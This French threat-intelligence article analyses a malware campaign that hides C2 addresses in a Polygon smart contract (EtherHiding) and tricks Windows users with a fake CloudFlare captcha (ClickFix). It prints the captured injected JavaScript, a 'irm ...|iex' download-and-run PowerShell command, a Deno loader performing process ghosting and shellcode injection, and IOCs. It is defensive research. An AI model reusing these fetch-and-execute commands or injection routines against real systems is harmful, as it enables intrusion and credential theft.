Mastodon

Contexte

Depuis sa découverte par des chercheurs en mars 2024, la technique du ClickFix est devenue extrêmement fréquente dans les campagnes de cyberattaques. Elle consiste à inciter les utilisateurs à être eux-mêmes acteurs de leur compromission en déclenchant manuellement des commandes sur leur poste. Ceci en passant par la création de faux sites identiques à des équivalents bien connus, ou encore en exploitant des vulnérabilités Web pour modifier des pages web. Pour plus d'informations, nous vous recommandons la lecture de notre article détaillé sur le sujet.

En parallèle, il existe également la technique de l'EtherHiding. Apparue depuis 2023, elle consiste pour les attaquants à exploiter les architectures décentralisées qui composent les blockchains, et plus spécifiquement les smart contracts, afin d'y stocker de façon immuable des données (sauf pour celui qui contient leur clé privée) qui seront utilisées lors de l'attaque. Afin d'en savoir plus, nous vous proposons également une analyse de cette technique.

À la suite de nos études sur la technique de l'Etherhiding, nous avons commencé à suivre les grandes campagnes d'attaques qui l'exploitent. Certaines sont en cours depuis plusieurs mois et sont déjà largement répandues et documentées : nos recherches via l'outil Validin ont repéré plus de 70 000 sites compromis en l'espace de quelques jours. Mais depuis fin septembre, une petite nouvelle a fait son apparition et commence à se répandre. Nous avons donc décidé d'en faire une analyse plus approfondie.

Détection initiale

Pour détecter les sites compromis par des campagnes de type EtherHiding, un bon point d'amorce est de repérer, dans le code source de la page web, l'appel à des fonctions permettant d'accéder à des données présentes dans un smart contract : par exemple eth_call, ou des librairies tiers comme ethers.js. Mais leurs usages peuvent en revanche être tout à fait légitime.

Alors comment séparer le bon grain de l'ivraie ? Pour y répondre, nous constatons que ces méthodes sont habituellement utilisés sur les pages web ayant pour thématique l'univers de la blockchain ou cryptomonnaies. Si le site en question n'y a, à première vue, aucun rapport, il est hautement probable qu'il s'agit d'une compromission (ce qui était le cas dans 95 % de nos observations).

Pour rappel, la technique de l'EtherHiding vise à remplacer certaines fonctionnalités d'un C2 par un smart contracté : en l'occurrence, l'accès à des données fournies par les cyber-attaquants. Lors de l'analyse du code d'un site compromis, au lieu de rechercher l'adresse IP ou le domaine d'un C2, il va falloir, à la place, trouver l'adresse du smart contract employé par l'attaquant, ainsi que la blockchain à laquelle elle est rattachée.

Or, depuis la fin septembre, nous avons repéré un script de façon récurrente, présent dans un nombre croissant de sites Web. Nous allons l'examiner dans la suite de cet article.

Collecte de code via EtherHiding

Contact du Smart Contract

Le script récupéré peut être découpé en deux parties pour son analyse. Voici la première :

<script type="text/javascript" data-no-optimize="1"> (function() {
    var c = document;
    if (c.cookie.indexOf('wp-settings') > -1 || c.getElementById('wpadminbar')) /* — [1] — */
        return;
    var R = ["https://1rpc.io/matic", "https://polygon-bor-rpc.publicnode.com"]; /* — [2] — */
    var a = "0xb29927B7D854b232D5E58CFc201866376E68C676"; /* — [3] — */
    var done = 0;
    var body = JSON.stringify({
        jsonrpc: '2.0',
        id: 1,
        method: 'eth_call', /* — [4] — */
        params: [{
                to: a,
                data: '0x2cae8ae4'
            }, 'latest']
    });
    ...

La structure de ce script est intéressante, et elle peut être décomposée selon les points suivants :

  • [1] Le script vérifie ici que la page en question est bien issue du CMS WordPress, et que la barre d'administration n'est pas présente, afin de compliquer le repérage par les administrateurs du site.
  • [2] Il s'agit des liens de connexion à une blockchain utilisée dans cette campagne. Nous comprenons ici qu'il s'agit de Polygon, une blockchain constituée sur Ethereum.
  • [3] Il s'agit de l'adresse du smart contract de l'attaquant. En l’occurrence : 0xb29927B7D854b232D5E58CFc201866376E68C676
  • [4] Le script fait ici appel à une fonction du smart contract, définie par la valeur du champ "data", qui fait office de "function selector".

Contenu du contrat

Avant de poursuivre l'analyse du script, intéressons-nous à ce fameux smart contract. Quelles données renferme-t-il pour la suite ? Puisque nous savons qu'il est basé sur Polygon, nous pouvons utiliser l'outil PolygonScan afin d'accéder aux informations qui nous intéressent.

Figure 1 : Le contrat accédé par le script

Le code Solidity de ce smart contract est composé des éléments suivants :

def storage:
  # Contient l'adresse du créateur du contrat
  owner is addr at storage 0
  # Contient une liste correspondant au payload à récupérer
  stor1 is array of struct at storage 1
  # Contient un booléen
  enabled is uint8 at storage 2
# Retourne le champ owner
def owner() payable:
...
# Permet de modifier le champ enabled. Cette fonction vérifie que son appelant est similaire au champ owner
def setEnabled(bool _enabled) payable:
...
# Retourne le champ stor1, ainsi que enabled
def getPayload() payable:
...
# Permet de modifier le champ stor1. Cette fonction vérifie que son appelant est similaire au champ owner
def setPayload(string _param1) payable:
...

L'outil PolygonScan nous permet également d'identifier un autre Smart Contract possédant un code Solidity strictement similaire. Son adresse est 0xB2A4EA7055B7E2A6B2D96502F0FF85024E72987B. Nous observons que ce contrat a été créé par le même utilisateur que celui mentionné ci-dessus. En revanche, nous n'en avons à l'heure actuelle trouvé aucune trace d'utilisation sur des sites compromis.

Figure 2 : Contrat similaire

Pour chacun de ces contrats, nous pouvons accéder à l'historique des transactions qui y sont associées. C'est à dire aux appels de fonctions du smart contract permettant d'en modifier les données propres. Cette liste est disponible à cette adresse. il est donc ainsi possible de surveiller l'activité des attaquants. Chaque transaction étant horodatée, nous pouvons analyser les plages horaires sur lesquelles ils opèrent. Dans certains cas, cela peut s'avérer être un facteur intéressant à étudier. En revanche, pour cette campagne, nous observons de l'activité à toute heure de la journée ou de la nuit, sur tous les jours de la semaine. Difficile donc d'en tirer la moindre conclusion.

Figure 3 : Liste de transactions du Smart Contract

La plupart de ces transactions correspondent à un appel à la fonction du contrat setPayload. Et pour chacune d'entre-elles, nous pouvons accéder à la donnée d'entrée. En l’occurrence, pour la dernière d'entre-elles à l'écriture de cette article, nous obtenons une liste d'URLs, séparées par un point virgule.

Figure 4 : La donnée envoyée à la fonction setPayload

Traitement des données

Le code JavaScript incorporé sur la page web fait appel à la fonction du contrat getPayload et traite le retour de la manière suivante :

...
function ok(d) {
        if (done)
            return;
        var h = d.slice(2);
        /* — [5] — */
        var en = parseInt(h.slice(64, 128), 16);
        if (!en)
            return;
        done = 1;
        /* — [6] — */
        var sl = parseInt(h.slice(128, 192), 16);
        var p = '',
        i = 0;
        for (; i < sl * 2; i += 2) 
            p += String.fromCharCode(parseInt(h.slice(192 + i, 194 + i), 16));
        var urls = p.split(';'),
        si = Math.floor(Math.random() * urls.length),
        tried = 0;
        function ld() { 
            if (tried >= urls.length)
                return;
            var ci = (si + tried) % urls.length;
            var s = c.createElement('script');
            /* — [7] — */
            s.src = urls[ci] + '/js/all.min.js';
            s.onerror = function () {
                tried++;
                ld()
            };
            /* — [8] — */
            (c.head || c.documentElement).appendChild(s);
            tried++
        }
        ld()
    }
    ...
  • [5] Le script décode le contenu retourné par l'appel à eth_call et extrait la valeur du champ enabled. Elle s'interrompt si celle-ci est égale à False.
  • [6] Dans cette section, le script découpe la liste des URLs et tente d'en utiliser une de façon aléatoire.
  • [7] Chaque URL est concaténé ici avec un endpoint correspondant à un script javascript externe
  • [8] Le script externe est récupéré et intégré dans la page pour exécution par le navigateur, ce qui permet de passer à l'étape suivante de l'attaque, impliquant la technique de ClickFix.

De ce script, nous pouvons donc constater que les attaquants ont mis en place un mécanisme, permettant d'activer ou de désactiver leurs opérations, à tout moment, via la présence du champ enabled. D'ailleurs, dans l'historique des transactions opérées sur le Smart Contract, nous observons justement quelques appels à la fonction setEnabled. C'est un point intéressant, puisque la Blockchain n'est pas seulement utilisée ici récupérer des payloads, mais aussi pour agir en tant qu'interrupteur sur la campagne d'attaque.

Figure 5 : Transaction vers la fonction setEnabled

Puisque nous savons que les URLs contenues dans le Smart Contract sont en réalité des serveurs de C2 permettant de récupérer un script pour la suite de l'attaque, nous pouvons à présent en établir la liste via l'historique des transactions. Il en résulte une liste de domaines, disponible dans le tableau des IOC en bas de cet article.

Technique du ClickFix

Injection de faux Captcha

En récupérant le script final contenu sur le C2, nous constatons qu'il contient l'affichage d'une fausse vérification CloudFlare, une technique typique des campagnes ClickFix. L'affichage s'adapte à la langue du navigateur avec le support des suivantes : anglais, portugais, espagnol, indonésien, vietnamien, allemand et français. Cette liste ne semble pas obéir à une logique particulière. Peut-être s'agissait-il simplement d'un template copié par les attaquants, sans se préoccuper de leurs cibles.

Figure 6 : La fausse page de vérification Captcha

Le script contient également une section permettant de ne cibler que les systèmes Windows, tout en excluant les bots issus des moteurs de recherche :

...
var isWin = typeof navigator !== 'undefined' && (navigator.platform || '').toLowerCase().indexOf('win') > -1 && /windows/i.test(navigator.userAgent || '');
var isBot = ['bot', 'google', 'spider', 'crawl', 'yahoo', 'bing', 'yandex', 'baidu'].some(function (w) {
    return (navigator.userAgent || '').toLowerCase().indexOf(w) > -1
});
if (!isBot && isWin)
    init()

Exécution Powershell

Enfin, sur une autre section de code, nous observons qu'une commande est injectée directement dans le presse-papier, afin que la victime piégée colle et exécute la commande dans un terminal Powershell.

e.clipboardData.setData('text/plain', cmd);

La commande copiée est la suivante :

irm https://checkmybtrobot[.]cc/ps/traffic?r=797a|iex

En Powershell, irm est un alias de l’instruction Invoke-RestMethod. Celle-ci est principalement utilisée pour envoyer des requêtes HTTP/HTTPS à des API REST ou à des serveurs Web, puis pour récupérer directement le contenu de la réponse. Le résultat est envoyé à la commande iex, alias de Invoke-Expression. Cette dernière exécute une chaîne de caractère en entrée comme si c'était du code PowerShell.

Le script PowerShell récupéré sur le C2 est le suivant :

Add-Type -MemberDefinition '
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr h,int c);
    [DllImport("user32.dll")]
    public static extern bool SetForegroundWindow(IntPtr h);
    [DllImport("user32.dll")]
    public static extern IntPtr GetForegroundWindow();
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
' -Name W -Namespace N
$h=[N.W]::GetConsoleWindow();
[N.W]::SetForegroundWindow($h);
$h=[N.W]::GetForegroundWindow();
[N.W]::ShowWindow($h,0)
/* — [1] — */
echo Y | winget install DenoLand.Deno -h
$d=(where.exe /r "$env:LOCALAPPDATA\Microsoft\WinGet" deno.exe | Select -First 1)
/* — [2] — */
& $d run -A https://checkmybtrobot[.]cc/j/traffic?r=797a

Nous observons ici les actions suivantes :

  • [1] Utilisation de winget pour installer l'environnement Deno, utilisé pour l'exécution locale de code Javascript, TypeScript ou WebAssembly.
    • Nous rappelons que winget n'est pas systématiquement disponible sur toutes les machines Windows. Comme il n'y a également pas de gestion d'erreur dans ce script, il y aura donc des cas où il sera inopérant.
  • [2] Exécution de Deno avec un script javascript récupéré à l'adresse https://checkmybtrobot[.]cc/j/traffic?r=797a. Nous étudierons ses actions dans la suite de l'article.

Injection et exécution de malware

Loader JavaScript

Cette technique permet à l'attaquant de faire exécuter du code JavaScript sur la machine de la victime en utilisant les droits utilisateurs de l'environnement Deno. Une fois lancé, ce script fait office de loader en procédant au téléchargement et à l'exécution de 2 fichiers :

...
const {symbols:_d92ca5}=Deno.dlopen('userenv.dll',{
    CreateEnvironmentBlock:{parameters:["buffer","pointer","i32"],result:"i32"}
});
/* — [1] — */
const _99cf15=await fetch("https://checkmybtrobot.cc/p?t=984b43058cf544f02979f32814f5599a_afe29c694aee56e173b7bc929de05763f1af2b57");
const _f8b41c=new Uint8Array(await _99cf15.arrayBuffer());
try {
    if(_f8b41c.length<100||_f8b41c[0]!==0x4D||_f8b41c[1]!==0x5A)throw 0;
    const _930e46=_0ccd63(Deno.env.get('TEMP')+'\\'+Math.random().toString(36).slice(2)+'.tmp');
/* — [2] — */
    const _c8b251=_aa38af.CreateFileW(_930e46,0xC0010000,5,null,2,0x80,null);
...
/* — [3] — */
    if(_9d823e.NtSetInformationFile(_c8b251,_8bc915,_f49f77,1,13)<0)throw 0;
        const _df91b8=new Uint8Array(4);
        _aa38af.WriteFile(_c8b251,_f8b41c,_f8b41c.length,_df91b8,null);
        const _a3aebe=new Uint8Array(8);
        if(_9d823e.NtCreateSection(_a3aebe,0xF001F,null,null,2,0x1000000,_c8b251)<0)throw 0;
            _aa38af.CloseHandle(_c8b251);
            const _985f08=new Uint8Array(8);
            if(_9d823e.NtCreateProcessEx(_985f08,0x1FFFFF,null,_aa38af.GetCurrentProcess(),4,_79274f(_a3aebe,0),null,null,0)<0)throw 0; 
...
/* — [4] — */ 
            _9d823e.NtCreateThreadEx(_3d0c96,0x1FFFFF,null,hP,_56cffe(ba+BigInt(_370e72)),null,0,0,ssc,ssr,null); 
...
/* — [5] — */ 
const _9362f1=await fetch("https://checkmybtrobot.cc/p?t=4a34c2794640480ae7e4b8fc97b92111_430c98a587987b32ff741571a6c411f058ca09c8"); 
/* — [6] — */ 
if(_9362f1.ok) { 
    const _00c3b3=new Uint8Array(await _9362f1.arrayBuffer()); 
    if(_00c3b3.length>0){
        const _bw=new Uint8Array(8);
        const {symbols:u32}=Deno.dlopen('user32.dll',{GetShellWindow:{parameters:[],result:"pointer"},GetWindowThreadProcessId:{parameters:["pointer","buffer"],result:"u32"}});
        const shw=u32.GetShellWindow();
        const pidB=new Uint8Array(4);
        u32.GetWindowThreadProcessId(shw,pidB);
        const hpe=_aa38af.OpenProcess(0x1FFFFF,0,_e9ca67(pidB,0));
        if(hpe) {
            const rm=_aa38af.VirtualAllocEx(hpe,null,BigInt(_00c3b3.length),0x3000,0x40);
            if(rm){
                _aa38af.WriteProcessMemory(hpe,rm,_00c3b3,BigInt(_00c3b3.length),_bw);
                _aa38af.CreateRemoteThread(hpe,null,0n,rm,null,0,null);
            }
        }
    }
}
...

Le C2 de l'attaquant est de nouveau sollicité ici. Il est à noter que la valeur du paramètre t dans l'URL est mise à jour par les attaquants plusieurs fois par minute. Ceci peut être constaté en rafraichissant régulièrement la page contenant le script. Ainsi, il faut être très rapide pour récupérer les fichiers !

Nous observons qu'il opère principalement les actions suivantes :

  • [1] Téléchargement d'un premier fichier. Puis, contrôles effectués sur sa taille et son contenu. Le fichier doit peser plus de 100 octets et doit commencer par "MZ".
  • [2] Création d'un fichier, avec les paramètres suivants :
    • Un nom aléatoire dans le dossier temporaire de l'utilisateur
    • Un accès de type GENERIC_WRITE | GENERIC_READ | DELETE
    • Un mode de partage de type FILE_SHARE_READ | FILE_SHARE_DELETE
    • Un mode de création (create disposition) de type CREATE_ALWAYS
    • Des attributs de fichier de type FILE_ATTRIBUTE_NORMAL
  • [3] Manoeuvre de Process Ghosting, comprenant les étapes suivantes :
    • Marquage du fichier pour suppression (NtSetInformationFile)
    • Ecriture du contenu téléchargé dans le fichier (WriteFile)
    • Création d'un section d'image en mémoire (NtCreateSection)
    • Création d'un objet processus (NtCreateProcessEx)
  • [4] Tentative de démarrage du premier processus.
  • [5] Téléchargement d'un second fichier.
  • [6] Injection et exécution du contenu téléchargé dans la mémoire du processus explorer.exe.

Exécution de malware

Le premier fichier correspond au md5 b97643bd45522efe9eea175d897787d3. Lors de notre test d'exécution en sandbox, nous constatons qu'il tente d'accéder à des clés de registre contenant des informations systèmes. Ses métadonnées contiennent le nom "slaiclind", et l'information de version "Slaiclind Labs, LLC 2.6.6.19587, MSVC". Un analyste rapporte un contact de ce processus vers un C2 (195.63.139[.]180) en TCP vers le port 443 sans TLS. Le fichier semble être également repéré par VirusTotal.

Figure 7 : Détection du premier fichier par Virus Total

Son exécution ouvre également cette boite de dialogue :

Figure 8 : La boite de dialogue ouverte par le script

La chaine de caractères affichée est en alphabet cyrillique ukrainien, et signifie : « Est-ce qu'on y est pour quelque chose, nous, si l'on a construit l'Ukraine tout autour d'Odessa ?! ».

Le second fichier correspond au md5 41e66c27fc6202f332e8e0a33aa5f519. Il s'agit d'un shellcode encodé, et injecté par le script Javascript dans le processus explorer.exe. Il est également détecté par Virus Total :

Figure 9 : Détection du second fichier par Virus Total

Schéma général

Si l'on résume nos observations, cette campagne Slaiclind s'articule comme ceci :

Conclusion

Cette campagne démontre de bout en bout la combinaison de modes opératoires observés récemment. Tout d'abord : l'EtherHiding, soit la délégation de certaines fonctionnalités historiquement rattachées au C2 vers un smart contract. Elle apporte aux cyber-attaquants davantage de résilience et de souplesse, et permet aux analystes de mieux suivre leurs activités. Ensuite, la technique du Clickfix est beaucoup utilisée depuis deux ans, mais encore largement méconnu du public non-averti, contrairement au phishing classique via des liens piégés dans des e-mails. Nous pouvons donc nous attendre à ce que ce type de campagne perdure dans les prochains mois. Nous continuerons à suivre leurs éventuelles évolutions.

Annexes

Mapping des techniques observées (MITRE ATT&CK)

L'équivalent renseigné dans la matrice MITRE donne ce visuel :

Références

IOCs

Type
Usage
Valeur
Description et remarque
String
Adresse Smart Contract
0xb29927B7D854b232D5E58CFc201866376E68C676
Smart Contract principal contenant les adresses de C2
String
Adresse Smart Contract
0xb2A4EA7055b7E2A6B2d96502f0ff85024e72987b
Smart Contract secondaire contenant les adresses de C2
Domaine
C2
windowsdiag-service[.]pw
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
univesalcheckrobot[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
imersion4cf[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
flarecloudcheck[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
chekcms432[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkrobotbb[.]pw
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkmybtrobot[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkms5[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkmrobot[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkdvvc99[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkcloudflere[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkbot-cf[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
cf-check[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
botcheck-cf[.]top
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
api-relay[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
allowcsxan2[.]site
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
allowcheckd3[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
Domaine
C2
checkvbbrows39[.]cc
Contient : Code JS, loader JS, script PowerShell, Exécutables Malware
IP
C2
78.40.198[.]82
IP hébergeant les domaines botcheck-cf[.]top et checkbot-cf[.]site
Hash
md5
b97643bd45522efe9eea175d897787d3
Stealer
Hash
md5
41e66c27fc6202f332e8e0a33aa5f519
Shellcode pour Win64 obfusqué

Partager sur

[juiz_sps buttons="facebook, twitter, linkedin, mail"]